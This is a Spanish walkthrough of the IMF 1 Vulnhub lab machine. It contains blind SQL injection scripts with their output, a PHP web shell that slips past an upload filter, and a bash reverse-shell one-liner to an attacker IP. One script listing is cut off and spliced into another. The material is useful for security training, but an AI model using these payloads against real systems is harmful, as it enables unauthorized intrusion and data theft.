Nos dirigimos IMF 1 descargamos el ova, y para instalarlo puedes seguir el ejemplo de Instalar Máquina Vulhub en VMWare .

Nota: Voy a proceder a añadir en el /etc/hosts que la ip 192.168.1.107 me dirija a imf.local.

Procedemos a hacer un reconocimiento a la página, en ello vemos a Contact Us, hay un formulario pero no presenta nada interesante, pero lo que si podemos ver es que existe estos usuario que brinda correos con el dominio actual, por lo que puede ser usuario validos para más adelante por lo que lo guardamos en un archivo.

vi usuarios_posibles
Copy

En esta ocasión vemos que podemos probar lfi o path travesal pero no vemos nada, así que probamos una inyeccion sqli y haciendo el 'and '1' ='1 y vemos que si es efectivo.

**

Podemos ver que cuando la sentencia es verdad (home' and '1' ='1 ) aparece la página cuando no es verdad (home'and '1' ='0) ya no aparece sabiendo eso podemos averiguar cual es la base de datos que se está utilizando actualmente, haciendo lo que se ve va a ver a continuación:

Por ejemplo voy a utilizar la ventana de Upload Report, con la siguiente sentencia.

http://imf.local/imfadministrator/cms.php?pagename=upload' and substring(database(),1,1) ='a
Copy

Confirmamos que la base de datos comienza con a pero para hacer este proceso más agil para enumerar las bases,tablas, columnas y contenido vamos a crear un script para cada proceso.

1. Script para enumerar la base actual que está en uso.

#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,6):
        for character in characters:
            sqli = "?pagename=upload' and substring(database(),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()
Copy

Ejecutamos el script.

❯ python3 sqli.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: admin
Copy

Ahora sabemos que la base actual en uso es admin.

2. Vamos a enumerar todas las bases de datos existentes, para observar que existe alguna otra que nos pueda interesar.

#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + ","

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(schema_name) from information_schema.schemata),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()
Copy

Ejecutamos el script:

❯ python3 sqli_enum_dbs.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: informationschema,admin,mysql,performanceschema,sys
Copy

Vemos que existen las bases por default y la base admin ahora que sabemos que solo existe esa base de datos vamos a enumerar las tablas existente.

3. Enumeraremos las tablas existentes en la base de datos admin.

#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + "," + string.digits

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()
Copy

Ejecutamos el script:

❯ python3 sqli_enum_tables.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: pages
Copy

Existe una sola table con nombre pages, esa tabla vamos a utilizar para enumerar a continuación las columnas.

4. Enumeramos las columnas de la tabla pages.

#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + "," + string.digits

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()
Copy

Ejecutamos el script:

❯ python3 sqli_enum_columns.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: id,pagename,pagedata
Copy

Vemos que existe una columna llamada pagename vamos a ver si existe una página adicional a las que aparecen en cms.php.

4. Vamos a enumerar el contenido de la columna pagename para observar si existe una página adicional a las que se observa.

#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
❯ catnp sqli_v1.py
#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + ",+-_." + string.digits

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(pagename) from pages),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()
Copy

Ejecutamos el script:

❯ python3 sqli_v1.py
[┐] Inyección SQL: Iniciando ataque de inyección SQL
[◥] Data: disavowlist,home,tutorials-incomplete,upload++++++++++++++++++++++++++++++++++++++++++++++++++++

[+] Saliendo...

Copy

Si vemos en la página de cms.php vemos que el único que no está visible es tutorials-incomplete por lo que nos dirigimos a esa página a ver que sale.

http://imf.local/imfadministrator/cms.php?pagename=tutorials-incomplete
Copy

Vemos que hay un extraño código QR, lo decodificamos y nos topamos con otra flag.

Nota: Puedes utilizar cualquier página que decodifique códigos QR.

❯ echo -n "dXBsb2Fkcjk0Mi5waHA=" | base64 -d; echo
uploadr942.php
Copy

Nos dirigimos a uploadr942.php

http://imf.local/imfadministrator/uploadr942.php
Copy

Vamos a proceder a un Abuso de Subida de Archivos.

Vamos a subir un archivo cmd.php para poder realizar una ejecución remota de comando.

El contenido del archivo:

<?php
	system($_GET("cmd"));
?>
Copy

Abrimos el burpsuite, capturamos la petición de carga y luego la enviamos al repeater para poder analizarlo.

Vemos que el archivo que creamos no es un tipo válido por lo que vamos a cambiar el magic number y el Content-type a gif, para observar que pasa.

Vemos que está protegida la carga con WAF, por lo que vamos hacer lo siguiente para pasar el WAF.

<?=`$_GET[0]`?>
Copy

Ahora enviamos de esta manera.

Vemos que ahora si se ha enviado correctamente el problema es que si nos vamos a la carpeta /uploads/cmd.gif no existe es decir que el nombre en que se guarda ha cambiado, pero si revisamos en el código fuente vemos que nos chiva el nombre.

Nota: Conocemos sobre la carpeta uploads enumerando directorios con cualquier herramienta de fuzzing por ejemplo gobuster al http://imf.local/imfadministrator/

❯ gobuster dir -u http://imf.local/imfadministrator/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://imf.local/imfadministrator/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/11/23 15:59:26 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 324] [--> http://imf.local/imfadministrator/images/]
/uploads              (Status: 301) [Size: 325] [--> http://imf.local/imfadministrator/uploads/]
Progress: 4773 / 220561 (2.16%)                                                                ^C
[!] Keyboard interrupt detected, terminating.
                                                                                                
===============================================================
2023/11/23 15:59:33 Finished
===============================================================
Copy

Ahora vamos a poner lo que aparece en el cuadro marcado anteriormente, el nombre cambia por cada archivo que se sube así que igual ahí que estar atento.

Ejecutamos un comando para probar, por ejemplo id:

http://imf.local/imfadministrator/uploads/5c60c75715cd.gif/?0=id
Copy

Sabiendo que ejecuta comando vamos a proceder hacer el one liner para obtener una reverse shell y nos pondemos en escucha por el puerto 1212.

Nos ponemos en escucha por el puerto 1212

nc -nvlp 1212
Copy

Escribimos el one liner en el navegador

http://imf.local/imfadministrator/uploads/d32d0fe60739.gif?0=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.140/1212%200%3E%261%22
Copy

Obtenemos la reverse shell como www-data

Hacemos un Tratamiento de la TTY y procedemos con la escalada de privilegios.